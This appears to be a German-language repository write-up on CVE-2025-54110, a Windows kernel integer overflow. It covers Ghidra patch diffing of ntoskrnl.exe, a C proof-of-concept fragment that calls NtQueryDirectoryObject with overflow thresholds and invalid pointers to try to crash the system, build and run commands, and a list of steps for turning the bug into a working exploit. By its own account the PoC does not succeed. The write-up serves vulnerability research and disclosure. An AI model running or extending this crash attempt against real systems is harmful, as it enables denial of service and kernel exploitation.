### 2. Analysierte Dateien

Die erste Analyse konzentrierte sich auf zwei primäre Kernel-Komponenten:

#### win32k.sys (-)
- **Ergebnis:** Keine signifikanten Änderungen festgestellt
- **Bewertungsbereich:** 0.97-1.0 (hohe Ähnlichkeit)
- **Fazit:** Nicht die anfällige Komponente für CVE-2025-54110

#### ntoskrnl.exe (+)
- **Ergebnis:** Mehrere Funktionen mit signifikanten Änderungen
- **Bewertungsbereich:** Funktionen mit Bewertungen ≤0.951
- **Längenunterschiede:** Unterschiede in der Bytelänge zwischen Quelle und Ziel festgestellt
- **Exportierte Elemente insgesamt:** 2,036 Funktionen zur Analyse

### 3. Ergebnisse der Ghidra-Versionsverfolgung

Beispiel identifizierter Änderungen in `ntoskrnl.exe`:

| Bewertung | Konfidenz | Quelllänge | Ziellänge | Quellfunktion | Zielfunktion |
|-------|------------|---------------|-------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |

---

## PoC-Erklärung

### Technischer Ansatz

Das PoC (`precise_overflow_bsod.c`) versucht, die Integer-Überlauf-Schwachstelle auszulösen durch:

1. **Präzise Schwellwertberechnung:** `0xfffffdbc` (abgeleitet von base=0x20, name=0x200)
2. **NtQueryDirectoryObject API:** Zielfunktion zum Auslösen des Überlaufs
3. **Mehrphasige Angriffsstrategie:**
   - Phase 1: Präzise Integer-Überlaufversuche
   - Phase 2: Kernel-Speicher anvisieren
   - Phase 3: Multithread-Ausnutzung

### Code-Struktur```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
    0xfffffdbc,  // Precise threshold - base=0x20, name=0x200
    0xfffffdbb,  // Threshold - 1
    0xfffffdbd,  // Threshold + 1
    0xfffffdba,  // Threshold - 2  
    0xfffffdbe,  // Threshold + 2
};

// Buffer configurations to test edge cases
PVOID buffer_types[] = {
    VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE),  // Normal buffer
    VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE),    // Small buffer
    NULL,                                                    // NULL pointer
    (PVOID)0x4141414141414141,                              // Invalid pointer
    (PVOID)0x0000000000000000,                              // Zero address
};

---

## Warum der PoC das System nicht zum Absturz bringt

### Tatsächliche Ergebnisse

Der PoC gibt konsistent `STATUS_ACCESS_VIOLATION (0xC0000005)` zurück, ohne einen Blue Screen of Death (BSOD) zu verursachen. Dies ist **absichtlich so** und demonstriert mehrere kritische Sicherheitsmechanismen des Windows-Kernels:

### 1. Strukturierte Ausnahmebehandlung (SEH)```
User-Mode Input → NtQueryDirectoryObject
                        ↓
                  ProbeForRead/Write
                        ↓
                  __try { ... }
                        ↓
              Access Violation Detected
                        ↓
                  __except { ... }
                        ↓
            Return STATUS_ACCESS_VIOLATION

**Auswirkungen auf den PoC:**
- Selbst wenn ein Überlauf auftritt, ist der direkte Speicherzugriff vom Kernel zum Benutzer blockiert
- Verhindert die Ausnutzung von Schwachstellen durch Zeiger-Dereferenzierung

### 3. KASLR (Randomisierung der Kernel-Adressraum-Layout)```
Boot Time: Kernel Base = Random Address
                ↓
Hardcoded PoC address (0xfffffdbc)
                ↓
        Does NOT match actual kernel structures
                ↓
    Write to non-critical memory OR caught by SEH

---

## Analyse der PoC-Ausführungsausgabe

### Erwartete Ausgabe

Siehe die `STATUS_ACCESS_VIOLATION (0xC0000005)`, dann ist es in Ordnung.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
    CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y

[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[-] Exploit finished. If the system is still running, the attack may have been mitigated.

C:\Users\reLab\Desktop\cve>

### Beobachtetes Verhalten```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005

---

## Bildungswert

### Was diese PoC demonstriert

#### Ergebnisse

1. **Methodik der Patch-Diffing-Analyse**
   - Vergleich von Binärdateien vor/nach dem Patch mit Ghidra
   - Identifizieren geänderter Funktionen durch Versionsverfolgung
   - Analyse scorebasierter Ähnlichkeitsmetriken

2. **Windows-Kernel-Architektur**
   - Verständnis des Syscall-Ablaufs (`NtQueryDirectoryObject`)
   - Erkennen der Grenzen zwischen Kernel- und Benutzermodus
   - Erlernen interner NTAPI-Funktionen

3. **Verhalten von Sicherheitsmechanismen**
   - SEH in Aktion: Ausnahme abgefangen vs. Systemabsturz
   - SMAP verhindert unbefugten Speicherzugriff
   - KASLR verhindert Ausnutzung statischer Adressen

4. **Forschungsprozess für Schwachstellen**
   - CVE-Analyse und Informationssammlung
   - Reverse Engineering von Binäränderungen
   - Hypothesentest durch kontrollierte Exploit-Versuche

#### Einschränkungen

1. **Moderne Kernel-Schutzmaßnahmen sind wirksam**
   - Einfache Überlaufversuche reichen nicht aus
   - Mehrere Verteidigungsebenen müssen umgangen werden
   - Statische Analyse allein kann Exploitierbarkeit nicht vorhersagen

2. **Lücke zwischen Theorie und Praxis**
   - Integer-Überlauf existiert (theoretisch)
   - Praktische Ausnutzung erfordert:
     - Informationspreisgabe (Kernel-Adressen leaken)
     - Heap-Shaping/Feng Shui
     - ROP-Ketten oder andere Codeausführungs-Primitiven
     - Umgehung von DEP, CFG, HVCI usw.

---

## Prioritätsfunktionen für die Analyse

Basierend auf den Merkmalen von CVE-2025-54110 (Integer-Überlauf → Pufferüberlauf im Kernel) priorisieren Sie die Überprüfung von Funktionen in der exportierten CSV, die Folgendes behandeln:

### Kategorien mit hoher Priorität```yaml
Integer/Size Calculations:
  - Functions with arithmetic operations on buffer sizes
  - Length calculation before allocation
  - Checked vs. unchecked math operations
  
Buffer/Memory Operations:
  - memcpy, memmove, RtlCopyMemory variants
  - ExAllocatePool* family
  - Buffer size validation routines
  
Object Directory Handling:
  - NtQueryDirectoryObject and related helpers
  - ObpLookupDirectoryEntry
  - Object enumeration functions
  
User-Mode Interface:
  - ProbeForRead/Write wrappers
  - Input validation functions
  - IOCTL handlers

**Schritt 2: Stichwortsuche**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"

**Schritt 4: Änderungsgrößenordnung**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)

### Kompilierung```bash
# on x64 Native Tools CLI for VS 20xx

# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib

# or
cl poc.c /link /SUBSYSTEM:CONSOLE

### Ausführung```powershell
# Run with admin privileges
.\poc64.exe

---

## Ressourcen und Referenzen

### Offizielle Quellen

- [Microsoft Security Advisory - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: Integer Overflow or Wraparound](https://cwe.mitre.org/data/definitions/190.html)
- [Windows Kernel Internals - Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)

### Forschungswerkzeuge

- [Ghidra - NSA Software Reverse Engineering Suite](https://ghidra-sre.org/)
- [WinDbg - Windows Debugging Tools](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)

### Weiterführende Lektüre

- [Kernel Exploit Development](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Windows Kernel Exploitation](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Patch Diffing with Ghidra](https://www.youtube.com/watch?v=K83T7iVla5s)

---

## Rechtlicher Hinweis

Dieser Code wird NUR ZU BILDUNGSZWECKEN bereitgestellt.

VERWENDEN Sie diesen Code NICHT für:

• Unbefugten Zugriff auf Computersysteme

• Böswillige Angriffe oder Schäden

• Illegale Aktivitäten


Der Autor übernimmt KEINE Haftung für Fehlgebrauch.
Benutzer müssen alle geltenden Gesetze einhalten.

**Durch die Nutzung dieses Codes bestätigen Sie:**

1. Sie haben die Berechtigung, auf Zielsystemen zu testen
2. Sie verstehen die rechtlichen Auswirkungen in Ihrer Gerichtsbarkeit
3. Sie übernehmen die volle Verantwortung für Ihre Handlungen
4. Dies dient dem Lernen, nicht böswilligen Aktivitäten

---

## Rechtlicher Hinweis
Dieses Repository wird ausschließlich zu Bildungs-, defensiven Sicherheitsforschungs- und Schwachstellenreproduktionszwecken in kontrollierten Laborumgebungen bereitgestellt.
Die Informationen und der Proof-of-Concept-Code sollen Verteidigern, Forschern und Anbietern helfen, die gemeldete Schwachstelle zu verstehen und zu beheben.
Unbefugte oder böswillige Nutzung dieses Codes gegen Systeme ohne ausdrückliche Genehmigung kann gegen geltende Gesetze und Vorschriften verstoßen.
Der Autor ermutigt nicht zu illegalen Aktivitäten und billigt diese nicht und übernimmt keine Haftung für Missbrauch oder durch dieses Material verursachte Schäden.

Dieser Schwachstellen-Offenlegungsbericht wird bereitgestellt für:
1. Sicherheitsforschung und Bildung
2. Benachrichtigung der Anbieter und Patch-Entwicklung
3. Schutz der Endbenutzer
4. Akademische und defensive Sicherheitszwecke

**Verbotene Nutzungen:**
- Unbefugter Zugriff auf Computersysteme
- Böswillige Ausnutzung
- Illegale Aktivitäten

Der Forscher führte alle Tests auf persönlich eigenen Systemen in kontrollierten Umgebungen durch. Es wurde kein unbefugter Zugriff auf Systeme Dritter vorgenommen.

**Berichtsversion:** 1.0  
**Zuletzt aktualisiert:** 9. Februar 2026  

---

## Kontakt

Für legitime Sicherheitsforschungsanfragen oder Bildungskooperationen:

**Verantwortungsvolle Offenlegung:**
- Sicherheitsprobleme mit diesem PoC → Öffnen Sie ein GitHub-Issue
- Tatsächliche Ausnutzung von CVE-2025-54110 → Melden Sie an [MSRC](https://msrc.microsoft.com/)

---

## Lizenz```
MIT License - See LICENSE file for details

Educational software provided "as is" without warranty.
Use at your own risk.